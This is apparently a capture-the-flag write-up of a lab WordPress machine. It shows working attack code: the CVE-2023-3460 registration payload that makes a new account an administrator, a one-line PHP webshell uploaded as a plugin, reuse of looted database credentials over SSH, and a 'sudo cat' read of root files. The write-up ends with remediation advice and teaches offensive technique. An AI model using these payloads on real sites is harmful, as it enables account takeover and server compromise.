HACKERDNA WORDPRESS · ONE ACCENTED BYTE TO ADMINISTRATOR

WP Ultimate

An Ultimate Member blacklist that compares bytes but stores after accent-folding → self-register as admin → plugin-upload RCE → reused DB password → `sudo cat` the root flag.

MACHINE WP Ultimate	CATEGORY WordPress	DIFFICULTY Hard
TARGET WP 6.5.4 · UM 2.6.6	RESULT user + root	OPERATOR Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

The filter and the database disagreed on what "wp_capabilities" means.

Category **WordPress** · Difficulty **Hard** · Entry **Ultimate Member 2.6.6 (CVE-2023-3460)** · Root **sudo cat**

The site redirects to a vhost, `blog.nexatech.hdna`, running **WordPress 6.5.4** with the **Ultimate Member 2.6.6** membership plugin. That version is vulnerable to **CVE-2023-3460**: the plugin refuses to let registrants set privileged user-meta keys, but its blacklist compares the submitted key with PHP's byte-exact `stripos()` while the key is **accent-folded to ASCII before it is stored**. Submitting `wp_càpabilities[administrator]` — with a Unicode `à` (U+00E0) — is "not `wp_capabilities`" to the filter and "exactly `wp_capabilities`" to the database. A self-registered account becomes a full administrator.

From the WordPress dashboard, an admin can write PHP — I uploaded a one-file plugin and used it as a webshell (`www-data`). `wp-config.php` handed over the database password, which was reused for the system account `nexatech` (SSH → user flag). `nexatech` may run `sudo /bin/cat`, and arbitrary file read as root reads the root flag.

#	LINK	FLAW	RESULT
1	Recon	vhost · WP + UM 2.6.6 fingerprint	CVE-2023-3460 candidate
2	Auth bypass / privesc	homoglyph `wp_càpabilities`	WordPress administrator
3	RCE	malicious plugin upload	shell as www-data
4	Loot + reuse	`wp-config.php` DB pass → SSH	user flag (nexatech)
5	Privesc	`sudo /bin/cat` (GTFOBins)	root flag

01 · RECONNAISSANCE

A redirect to a vhost, and a telltale plugin

Two ports; the web root is a meta-refresh to a named vhost that must be reached with a Host header.

$ RECON ENUM

```
$ nmap -Pn -sV --top-ports 1000 -T3 46.137.40.65
22/tcp open ssh    OpenSSH 9.2p1 Debian
80/tcp open http   Apache 2.4.59
$ curl -s 46.137.40.65/
<meta http-equiv="refresh" content="0; URL=http://blog.nexatech.hdna">

$ curl -s -H 'Host: blog.nexatech.hdna' 46.137.40.65/ | grep generator
<meta name="generator" content="WordPress 6.5.4">
# asset path: /wp-content/plugins/ultimate-member  (readme Stable tag: 2.6.6)
```

Ultimate Member **2.6.6** is below the **2.6.7** fix line for **CVE-2023-3460**. The register page (page 12) exposes a UM form: `form_id=6`, a `_wpnonce`, and fields `user_login-6` / `user_email-6` / `user_password-6`.

02 · CVE-2023-3460 — SELF-REGISTER AS ADMIN

A blacklist that reads bytes, a store that folds accents

Ultimate Member forbids privileged meta keys during registration. The check (read from the plugin on the box) is a case-insensitive **substring** match:

WP-CONTENT/PLUGINS/ULTIMATE-MEMBER/INCLUDES/CORE/CLASS-USER.PHP — SOURCE

```
$this->banned_keys = array( ... 'cap_key',
    $wpdb->get_blog_prefix() . 'capabilities',   // "wp_capabilities"
    'level_', $wpdb->get_blog_prefix() . 'user_level' );

public function is_metakey_banned( $meta_key ) {
    foreach ( $this->banned_keys as $ban ) {
        if ( is_numeric( $meta_key ) || false !== stripos( $meta_key, $ban ) ) {
            $is_banned = true; break;                // byte-exact, accent-SENSITIVE
        }
    }
    return $is_banned;   // clean_submitted_data() unsets banned keys
}
```

`stripos("wp_càpabilities", "wp_capabilities")` is **false** — the accented à (U+00E0) means the banned substring is not present, so the key survives filtering. But by the time WordPress persists the meta, the key is accent-folded to plain ASCII. I verified this on the box's own database — the row that lands is not the accented key, it is the real one:

MYSQL — WHAT ACTUALLY GOT STORED — PROOF

```
SELECT HEX(meta_key), meta_key, meta_value FROM wp_usermeta
  JOIN wp_users USING(...) WHERE user_login='reaper_king' AND meta_key LIKE '%apab%';

77705f6361706162696c6974696573 | wp_capabilities | a:1:{s:13:"administrator";s:1:"1";}
# hex = ASCII "wp_capabilities" — the à was folded to a. Filter saw one key, DB stored another.
```

The exploit: fetch a fresh nonce, POST the registration with the homoglyph meta injected, then log in.

$ UM_PRIVESC.PY — THE INJECTED FIELD — EXPLOIT

```
data = { "user_login-6": "reaper_king", "user_email-6": "...",
         "user_password-6": PW, "confirm_user_password-6": PW,
         "form_id": "6", "_wpnonce": nonce, "um_request": "",
         "wp_càpabilities[administrator]": "1" }   # à = U+00E0

$ curl -H 'Host: blog.nexatech.hdna' -d 'log=reaper_king&pwd=...' .../wp-login.php
$ curl -b <cookies> .../wp-admin/    ->    HTTP 200 · Dashboard · Howdy, reaper_king
```

DERIVING IT, NOT BORROWING IT

The bypass is legible straight from the plugin: a byte-level `stripos` guard in front of an accent-folding store. Homoglyph/accent substitution belongs in the standard blacklist-bypass toolkit alongside case, whitespace, and null-byte tricks.

03 · ADMIN → RCE

An administrator can always write PHP

WordPress administrators can install plugins, and a plugin is just PHP on disk. I uploaded a one-file plugin whose body is a command shell, then called it directly — no activation needed:

$ WP_SHELL.PY — PLUGIN WEBSHELL RCE

```
# zip: reapersh/reapersh.php  ->  POST /wp-admin/update.php?action=upload-plugin
<?php /* Plugin Name: reapersh */
if(isset($_REQUEST['c'])){ system($_REQUEST['c']); } ?>

$ curl '.../wp-content/plugins/reapersh/reapersh.php?c=id;hostname'
uid=33(www-data) gid=33(www-data)
ip-10-0-2-45 · aarch64 · kernel 6.1.174
```

The user flag is world-readable in `/home`:

WWW-DATA $ CAT /HOME/FLAG-USER.TXT USER

bdeed944-1b89-4d96-b1cd-a838b1ebf948

04 · LOOT & PASSWORD REUSE

The database password is also the shell password

`wp-config.php` is readable by the web user and holds the database credentials, which are reused for the `nexatech` system account:

WWW-DATA $ CAT WP-CONFIG.PHP — LOOT

```
DB_NAME     = nexatech
DB_USER     = nexatech
DB_PASSWORD = UzhApBj2hc28vaj

$ ssh nexatech@46.137.40.65   # same password
uid=1000(nexatech) gid=1000(nexatech)
```

05 · PRIVILEGE ESCALATION — ROOT

sudo cat is arbitrary root file read

nexatech's sudo rights are a single, seemingly harmless binary:

NEXATECH@WP $ SUDO -L SUDOERS

```
User nexatech may run the following commands on this host:
    (ALL) /bin/cat
```

cat as root reads any file on the system (GTFOBins) — the root flag directly, and, if a shell were needed, /etc/shadow or root's SSH key:

NEXATECH@WP $ SUDO CAT /ROOT/FLAG-ROOT.TXT ROOT

```
$ sudo cat /root/flag-root.txt
3bf64c05-920b-41f2-a4d8-694064bc3f3c
$ sudo cat /etc/shadow | grep ^root
root:*:19856:0:99999:7:::          # root login disabled; sudo-cat is the root read primitive
```

WHY IT IS GAME OVER

A read-only primitive as root is still total compromise: it exposes every secret on the box — password hashes, private keys, tokens, backups. "Only cat" is not a mitigation.

06 · IMPACT & REMEDIATION

A homoglyph, an editor, a reused password, a lazy sudoers line

- **CVE-2023-3460.** Update Ultimate Member to ≥ 2.6.7. The root cause is a comparison/normalization mismatch — validate keys after the exact normalization used for storage (compare the folded/sanitized form), and use a strict allow-list of user-settable meta, never a substring denylist.
- **Admin-to-RCE by design.** A WordPress admin can run code; treat the admin boundary as an RCE boundary. Disable the file editor (`DISALLOW_FILE_EDIT`) and plugin/theme installation (`DISALLOW_FILE_MODS`) on production, and run PHP read-only where possible.
- **Secrets & reuse.** The DB password doubled as a Linux password. Use unique, rotated credentials; never let an application secret equal an interactive-login secret.
- **Sudo to a file reader.** `sudo cat` (like `less`, `more`, `head`) is arbitrary root read and a stepping stone to full root. Grant sudo to specific, argument-constrained commands — or nothing.

LESSON

The headline bug is beautiful — a single accented byte that two components read differently — but the box only falls to *root* because of ordinary hygiene failures stacked behind it: a writable admin panel, a reused password, and an over-broad sudo rule.

APPENDIX · LEDGER

Flags, credentials & surface

USER **bdeed944-1b89-4d96-b1cd-a838b1ebf948** CAPTURED

ROOT **3bf64c05-920b-41f2-a4d8-694064bc3f3c** CAPTURED

CREDENTIAL LEDGER

PRINCIPAL	SECRET	RECOVERED VIA
reaper_king (WP admin)	self-registered	CVE-2023-3460 homoglyph
nexatech (system + DB)	UzhApBj2hc28vaj	wp-config.php → reuse

ATTACK SURFACE REFERENCE

- vhost — Host: blog.nexatech.hdna → WP 6.5.4 / UM 2.6.6.
- privesc — register wp_càpabilities[administrator]=1 (à = U+00E0).
- rce — upload-plugin webshell → www-data.
- reuse — wp-config.php DB pass → ssh nexatech.
- root — sudo cat /root/flag-root.txt.

Solved user + root. One accented byte for the front door; textbook hygiene failures for everything behind it.